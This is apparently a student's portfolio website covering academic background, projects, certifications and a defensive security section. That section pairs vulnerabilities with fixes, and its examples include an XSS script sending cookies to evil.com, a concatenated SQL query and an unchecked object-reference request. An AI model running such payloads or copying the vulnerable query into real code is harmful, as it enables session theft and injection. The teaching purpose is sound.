Aspiring Software Engineer pursuing a B.E. in Computer Science and Engineering at SJM Institute of Technology, with hands-on experience building Python and machine learning projects while completing Full Stack Development training. Skilled at applying strong analytical and problem-solving abilities to real-world challenges, with production-grade engineering in SSL (TLS 1.3) encryption and SRS (Security Requirements Specification) architecture.
Structured biodata record verified against official academic credentials and resume.
Strong analytical foundation backed by consistent academic performance.
Software Engineering, AI/ML & Security
Aspiring Software Engineer pursuing a B.E. in Computer Science and Engineering, with hands-on experience building Python and machine learning projects while completing Full Stack Development training.
Skilled at applying strong analytical and problem-solving abilities to real-world challenges, with a deep interest in securing web applications against emerging cyber threats through rigorous SSL encryption and SRS standards.
SJM Institute of Technology
Pursuing Bachelor of Engineering in CSE with practical focus on Python, Machine Learning, Full Stack Development, Database Systems, and Cybersecurity principles.
MES PU College
Completed Pre-University education in Science & Mathematics stream with strong fundamentals.
Jnana Jyothi Convent High School
Graduated with 94.72% distinction and exemplary academic merit.
Core programming languages, databases, web technologies, and cybersecurity architecture.
Core application & web development
Version control, IDE & Web server platforms
Relational SQL & NoSQL document stores
Transport encryption & Security Requirements Specification
Real-world applications combining Full-Stack Web Development, Databases, and AI/ML.
Centralized web platform designed to streamline donor management, recipient requests, and real-time blood inventory tracking.
Predictive machine learning workflow engineered to forecast critical water and energy resource demand from population trends.
AI-based agricultural diagnostic tool that analyzes plant leaf imagery to provide rapid, accurate crop disease detection.
Transport Layer Encryption (SSL/TLS 1.3), Security Requirements Specification (SRS), and OWASP defensive engineering.
Combining 256-bit AES-GCM transport encryption with rigorous Security Requirements Specification (SRS) standards: cryptographic session management, anti-replay tokens, sliding-window rate limiting, and zero query concatenation.
Occurs when hostile input is concatenated directly into SQL or shell commands, allowing attackers to dump credentials, bypass authentication, or execute arbitrary commands.
cursor.execute(f"SELECT * FROM users WHERE email='{input}'")
cursor.execute("SELECT * FROM users WHERE email=?", (input,))
Occurs when an application includes untrusted data in a web page without proper validation or escaping, allowing execution of scripts in the victim's browser session.
<script>fetch('https://evil.com?c='+document.cookie)</script>
<script>fetch('https://evil.com...</script>
High-volume synthetic traffic floods that exhaust network bandwidth, Nginx worker threads, and server memory to cause downtime and outage.
limit_req_zone $binary_remote_addr zone=one:10m rate=25r/s;
limit_conn_zone $binary_remote_addr zone=addr:10m; (max 25 conn)
Vulnerabilities like Insecure Direct Object References (IDOR/BOLA) and session hijacking where users can view, modify, or delete data belonging to other accounts.
GET /api/user/105/records (no server-side ownership check)
assert request.user.id == record.owner_id (Enforced)
Default passwords, exposed server tokens, and verbose stack traces that give attackers diagnostic reconnaissance data.
server_tokens off; (Hides server version & OS)
HSTS: max-age=63072000, X-Content-Type-Options: nosniff
Malicious executable file uploads (e.g. `.php`, `.sh`, `.exe`), supply-chain dependencies, or unauthorized encrypting ransomware payloads threatening system integrity.
Uploads restricted; strict MIME verification; noexec flag
Air-gapped database snapshot backups; immutable logs
Comprehensive mapping of functional, non-functional, and compliance requirements implemented across the platform.
| SRS Control ID | Requirement Category | Security Specification | Implementation Mechanism | Compliance Status |
|---|---|---|---|---|
SRS-TR-01 |
Transport Encryption | Mandatory TLS 1.3 protocol with Perfect Forward Secrecy (PFS) | Let's Encrypt automated certificate + ECDHE-RSA ciphers | Verified |
SRS-AC-02 |
Authentication Security | Cryptographic credential hashing with high computational cost | PBKDF2-HMAC-SHA256 (600,000 iterations) + random salt | Verified |
SRS-SS-03 |
Session Request Shield | High-entropy session tokens with automatic sliding invalidation | 64-character hex cryptographic tokens + 24-hr TTL | Verified |
SRS-BF-04 |
Brute-Force Shield | Automated lockout on repeated authentication failures | IP-based sliding counter: 5 failed attempts = 15-min lockout | Verified |
SRS-DI-05 |
Data Integrity & SQL | Zero raw concatenation in database operations | 100% Prepared Statements / Parameterized Queries (SQLite) | Verified |
SRS-XS-06 |
Client-Side Integrity | Neutralize injected HTML and prevent cross-site execution | Context-aware entity escaping (`html.escape`) + CSP Header | Verified |
SRS-AV-07 |
Availability & Resilience | Protection against Layer 7 application resource exhaustion | Nginx token-bucket rate limiting (25 req/s) + Python limiter | Verified |
Test real-world attack payloads against Somesha's live defense inspection engine.
Real-time security telemetry queried live from /api/security/audit.
/api/security/audit)
JSON · HTTP 200 OK
Loading server telemetry...
Hands-on industry experience and competitive 24-hour hackathon participation.
AI internship with Tata, gaining hands-on experience in Artificial Intelligence, machine learning concepts, and real-world problem-solving.
Participated in Xcelerate, a 24-Hour Hackathon held as part of NIKSHATRA E-Summit 2025 at Bangalore Institute of Technology (BIT), strengthening teamwork, innovation, and time-constrained problem-solving skills.
Industry-recognized certifications in Generative AI, Data Analytics, and Artificial Intelligence.
Tata (Forage)
Verified CertificationTCS iON
Verified CertificationInfosys Springboard
Verified CertificationMessages submitted below are safely sanitized against XSS and saved to SQLite using parameterized queries.
Available for Software Engineering roles, Full-Stack & AI/ML internships, and collaborative cybersecurity projects.
Encrypted Administrator Authentication Portal